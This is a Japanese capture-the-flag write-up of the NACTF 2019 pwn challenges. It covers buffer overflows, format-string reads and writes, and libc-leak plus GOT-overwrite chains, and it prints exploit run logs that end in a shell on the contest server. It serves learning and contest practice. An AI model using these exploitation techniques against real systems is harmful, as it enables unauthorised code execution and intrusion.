NACTF 2019 writeup

NACTF 2019

yharima で参加…だけど今回も一人.かつぬるく参加して主に pwn だけに手を出した.
メインでやったのは pwn なので pwn だけ writeup を書く.
今回ソースコードは付いてるが読まない縛りをした.

ソース: https://github.com/yuta1024/ctf_log/tree/master/NACTF_2019

f:id:yharima:20190923193304p:plain

BufferOverflow #0

セグフォを起こすと win 関数が呼ばれて flag が表示される.
というわけで適当に BOF させてあげれば良い.

$ python bufover-0.py
[+] Opening connection to shell.2019.nactf.com on port 31475: Done
[+] Receiving all data: Done (98B)
[*] Closed connection to shell.2019.nactf.com port 31475
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
You win!
flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}

BufferOverflow #1

単純に BOF があって EIP 奪えるので BOF させて win 関数に飛ぶようにすれば良い.

$ python bufover-1.py
[+] Opening connection to shell.2019.nactf.com on port 31462: Done
[+] Receiving all data: Done (91B)
[*] Closed connection to shell.2019.nactf.com port 31462
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb2\x91\x0!
You win!
flag: nactf{pwn_31p_0n_r3t_iNylg281}

BufferOverflow #2

BOF があって EIP が奪えて win 関数に飛ばせば良い.
が, win 関数が適切な引数を取る必要があるので引数に取るようにしてあげれば良い.
Hopper で読んでいる感じだと3つ引数を取る必要があって 0x14b4da55, 0x0, 0xf00db4be を順番に取らないとだめっぽい?

$ python bufover-2.py
[+] Opening connection to shell.2019.nactf.com on port 31184: Done
[+] Receiving all data: Done (101B)
[*] Closed connection to shell.2019.nactf.com port 31184
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0AAAAUڴ\x14!
You win!
flag: nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}

Format #0

タイトル通り FSB がある.
フラグ自体は読み込まれていてそのアドレスがスタックに詰まれてるので,そこを表示するようにすれば良い.

$ python format-0.py
[+] Opening connection to shell.2019.nactf.com on port 31782: Done
[+] Receiving all data: Done (52B)
[*] Closed connection to shell.2019.nactf.com port 31782
You typed: nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}

Format #1

次は読み出すのではなく書き換えが必要.
といっても書き換え対象はスタックに詰まれてる.値は 42 にしてあげれば良い.

$ python format-1.py
[+] Opening connection to shell.2019.nactf.com on port 31560: Done
[+] Receiving all data: Done (98B)
[*] Closed connection to shell.2019.nactf.com port 31560
You typed:                                          @
You win!
nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}

Loopy #0

適当な GOT のアドレスを leak させて BOF してもう1回 main を実行させる.
leak したアドレスから libc のベースアドレスを計算して BOF させて system を実行させれば良い.

$ python loopy-0.py
[+] Opening connection to shell.2019.nactf.com on port 31283: Done
[+] libc_base_addr = 0xf7d04000
[*] Switching to interactive mode
You typed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$
$ ls
flag.txt
loopy-0
$ cat flag.txt
nactf{jus7_c411_17_4g41n_AnZPLmjm}

Loopy #1

Loopy #0 と同じだが SSP が有効になっていて BOF させて EIP を自由に操作することはできない.

FSB は健在なのでまず GOT を leak するのと __stack_chk_fail の GOT を main に書き換える.
適当な GOT をリーク + わざと BOF させて __stack_chk_fail を呼び出し main を再度呼び出す. これで1回目は libc のベースアドレスを求めれる.

2回目は libc のベースアドレスを知っているのでなにかの GOT を system に書き換えることはできる.
ただし /bin/sh を引数に取らないとだめなので自由な値を渡すことができる関数を書き換える必要がある.
printf は入力を受け取った buffer をそのまま渡してるのでこいつを system に書き換えてあげれば良い.
__stack_chk_fail はすでに main に書き換えてあるので BOF さえすればまた main から呼び出される.

3回目は特に何かする必要はなく入力に /bin/sh を食わせてあげれば良い.

$ python loopy-1.py
[+] Opening connection to shell.2019.nactf.com on port 31732: Done
[+] libc_base_addr = 0xf7d08000
[+] system_addr = 0xf7d46c00
[*] Switching to interactive mode
$ ls
flag.txt
loopy-1
$ cat flag.txt
nactf{lo0p_4r0und_th3_G0T_VASfJ4VJ}

まとめ

FSB 利用して exploit を書くのが苦手.32bit なの久々だった.
pwn は全部解けたので良かった.割と教育的な問題だった印象.でも32bitって最近見ないのがどうなのか,と気にはなった.